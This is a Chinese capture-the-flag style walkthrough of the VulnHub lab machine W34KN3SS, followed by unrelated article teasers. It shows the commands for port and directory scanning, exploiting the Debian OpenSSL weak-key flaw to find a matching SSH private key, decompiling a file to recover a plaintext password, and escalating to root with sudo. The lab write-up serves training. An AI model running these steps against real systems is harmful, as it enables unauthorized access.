vulnhub靶机 W34KN3SS(渗透测试详解)

news2024/11/14 17:05:05

一、靶机信息收集

1、靶机下载地址

https://download.vulnhub.com/w34kn3ss/W34KN3SS.ova

2、扫描靶机IP

3、探测靶机端口、主机、服务版本信息

nmap -sS -sV -A -p- 192.168.31.160

4、进行目录扫描

二、web渗透测试

1、访问靶机IP

没什么发现

2、进行目录拼接访问

拼接test

提示需要 key

3、查看443端口得到的域名 weakness.jth

请求不到,绑定一下hosts文件

再次访问

兔子尾巴写了个n30,可能是密码

4、对目录进行扫描

dirb http://weakness.jth/

拼接访问 private

有两个文件,看一下内容

mykey.pub

notes.txt,提示这个 key 由 openssl 0.9.8c-1 生成

5、 kali 用 searchsploit 查一下

searchsploit 0.9.8c-1 搜索
searchsploit -m 5622 下载

查看5622文件

提示需要下载

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

解压

tar vxjf 5622.tar.bz2

匹配 mykey.pub 内容

grep -r -l "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster"

得到公钥

rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub

6、 进入对应目录,公钥连接ssh,连接成功

cd rsa/2048
ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.31.160

三、提权

1、 查看当前目录

有俩文件

查看 user.txt

查看 code 文件类型

file code

把文件 copy 到网站根目录,开启一个临时 web 服务,下载下来

cp code /var/www/html
cd /var/www/html
python3 -m http.server
wget http://192.168.23.188:8000/code

利用kali远程下载下来

使用 uncompyle6,下载命令

pip install uncompyle6

修改 code 名为 code.pyc,使用 uncompyle6 反编译,得到密码

mv code code.pyc
uncompyle6 code.pyc

成功得到密码

n30:dMASDNB!!#B!#!#33

2、连接ssh

查看当前权限

直接sudo su 提权

提权成功!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043478.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【鸿蒙学习】HarmonyOS应用开发者基础 - 构建更加丰富的页面(一)

学完时间:2024年8月14日 一、前言叨叨 学习HarmonyOS的第六课,人数又成功的降了500名左右,到了3575人了。 二、ArkWeb 1、概念介绍 ArkWeb是用于应用程序中显示Web页面内容的Web组件,为开发者提供页面加载、页面交互、页面调…

Your local changes would be overwritten by merge git

方法二 直接覆盖本地的代码,放弃自己本地的改动,只保留服务器端代码 直接回退到上一个版本,再进行pull。 【步骤】 直接 VCS -> Git -> Reset HEAD… 选择需要的reset模式:hard(即放弃本地代码,新修…

Unity引擎加密方案解析

据悉,Unity引擎的全球市场占有率已经超过50%,而在全球排名前1000的手游当中,这一数据更是高达73%。不止如此,Unity在中国拥有高达350万的注册用户,《崩坏星穹铁道》、《王者荣耀》等爆款游戏均为Unity引擎开发。 庞大…

使用 LabVIEW 编程更改 IMAQ/IMAQdx 接口的相机文件

问题详情 可能需要通过编程方式更改与 IMAQ/IMAQdx 接口关联的相机文件。这种需求通常发生在图像采集系统中,例如使用 PCIe-1433 硬件时,可能需要动态切换不同的相机配置文件来适应不同的应用场景。 解决方案 当前在 Measurement & Automation Ex…

博出精彩,向新而行!2024海博思创应届毕业生集训营圆满结营

近日,海博思创迎来了一群充满活力的新海博人,他们带着对未来的憧憬与梦想,即将在这里开启自己职业生涯的首个篇章。7月26日,公司为2024年应届毕业生举行了集中培训结营仪式,标志着他们正式完成了“职场第一课”。 本次…

html+css+js网页设计 移动端 京东6个页面

htmlcssjs网页设计 移动端 京东6个页面 网页作品代码简单,可使用任意HTML编辑软件(如:Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作)。 获取源码 1&#…

【已解决】windows如何修改MAC地址

问题介绍: 在公司的电脑上使用另一个网口连接网线,无法使用网络。原因是因为使用公司网络需要向公司申请,公司需要通过MAC地址开通上网权限。解决办法:通过将可以该网口的MAC地址绑定为可以上网的MAC地址 电脑系统 windows11 打开…

卫星直击俄乌前线:俄罗斯在库尔斯克地区修筑防御工事

俄罗斯武装力量军事政治总局副局长阿普季阿劳季诺夫14日说,约1.2万名乌克兰及其他国家士兵近日进入俄罗斯库尔斯克州。 乌克兰总统弗拉基米尔泽连斯基同一天表示,乌军在库尔斯克地区“进展顺利”。 卫星图像显示,俄罗斯在库尔斯克利戈夫地区…

ArcGIS简单介绍

ArcGIS体系结构 (1)GIS Server 宿主各种GIS资源,将他们封装为服务提供给客户端应用。GIS Server分为两部分:Server Object Manager(SOM)和Server Object Containers(SOCs)。一个SO…

数据在内存中的存储(了解大小端字节序浮点数在内存中存储)详细~

目录 1、整数在内存中的存储 2、了解大小端字节序 2.0 为什么有大小端之分呢? 3、练习题 3.1 练习01 3.2 练习02 3.3 练习03 3.4 练习04 3.5 练习05 3.6 练习06 4、浮点数在内存中的存储 4.0 浮点数在计算机内部的表示方法 4.1 浮点数存的过程 4.2 浮点数取的过…

FreeRTOS——优化系统(基于百问网FreeRTOS教学视频)

文章目录 一、精细调整栈大小二、打印所有任务的栈信息三、统计CPU占比找出有问题的任务 一、精细调整栈大小 在创建任务时分配了栈,可以填入固定的数值比如 0xa5,以后可以使用以下函数查看" 栈的高水位",也就是还有多少空余的栈空…

完美解决RTX5源码工程+最新emWin6.40的编译兼容问题,使能C编译器使用C11可解决

最新的emWin6.40仅提供了.a格式库,这个库兼容MDK,IAR和GCC,但是在MDK AC6下使用需要做如下操作 -fno-short-wchar -fshort-enums 他这个操作,正好跟RTX5源码工程添加的一个设置冲突了,通过搜索资料,发现使…

性能测试 —— linux服务器搭建JMeter+Grafana+Influxdb监控可视化平台!

前言 在当前激烈的市场竞争中,创新和效率成为企业发展的核心要素之一。在这种背景下,如何保证产品和服务的稳定性、可靠性以及高效性就显得尤为重要。 而在软件开发过程中,性能测试是一项不可或缺的环节,它可以有效的评估一个系…

优先级队列的实现

什么是优先级队列 优先级队列是一种特殊的数据结构,它类似于队列或栈,但是每个元素都关联有一个优先级或权重。在优先级队列中,元素的出队顺序不是简单地按照它们进入队列的先后顺序(先进先出,FIFO)&#…

vulnhub靶机 DC-9(渗透测试详解)

一、靶机信息收集 1、靶机下载 https://download.vulnhub.com/dc/DC-9.zip 2、靶机IP扫描 3、探测靶机主机、端口、服务版本信息 4、靶机目录扫描 二、web渗透测试 1、访问靶机IP 查看页面功能点,发现一个搜索框和登录框 2、测试一下是否存在sql注入 查看当前数…

快速解析数据挖掘,最短时间明白什么是数据挖掘------下

信息损失函数 (Information Loss Function)是衡量在数据转换或处理过程中信息丢失的程度的函数。在数据科学、机器学习和统计学中,信息损失是一个重要的概念,尤其是在数据降维、特征选择、数据压缩和隐私保护等领域。 信息损失函…

解密!抖音百万粉丝博主三维地图视频都用到了什么GIS数据和技术

引言 在抖音上有许多诸如三维地图科普局、三维地图看世界和三维地图鉴赏等百万粉丝博主靠着三维地图科普城市、景区、人文和地理视频获赞百万,在我们浏览视频时犹如身临其境一般,那么制作这些视频需要什么GIS技术呢?如何利用MapMost技术自己…

怎么防止源代码泄露?十种方法杜绝源代码泄密风险

源代码是软件开发的核心资产之一,保护其不被泄露对企业的安全至关重要。源代码泄露不仅可能导致知识产权的丧失,还可能给企业带来经济损失和品牌形象的损害。以下是十种有效的方法,可以帮助企业杜绝源代码泄密的风险。 1. 代码加密 对源代码…

LeetCode 3148.矩阵中的最大得分:每个元素与其左或上元素之差的最大值(原地修改O(1)空间)

【LetMeFly】3148.矩阵中的最大得分:每个元素与其左或上元素之差的最大值(原地修改O(1)空间) 力扣题目链接:https://leetcode.cn/problems/maximum-difference-score-in-a-grid/ 给你一个由 正整数 组成、大小为 m x n 的矩阵 g…

ESVC论文笔记

ESVC: COMBINING ADAPTIVE STYLE FUSION AND MULTI-LEVEL FEATURE DISENTANGLEMENT FOR EXPRESSIVE SINGING VOICE CONVERSION阅读笔记 发现问题 虽然SVC在自然度和相似度方面都取得了很好的效果,但音频中除了歌手身份之外,情感表达也是传递歌手感情和态度的必要条件&#xf…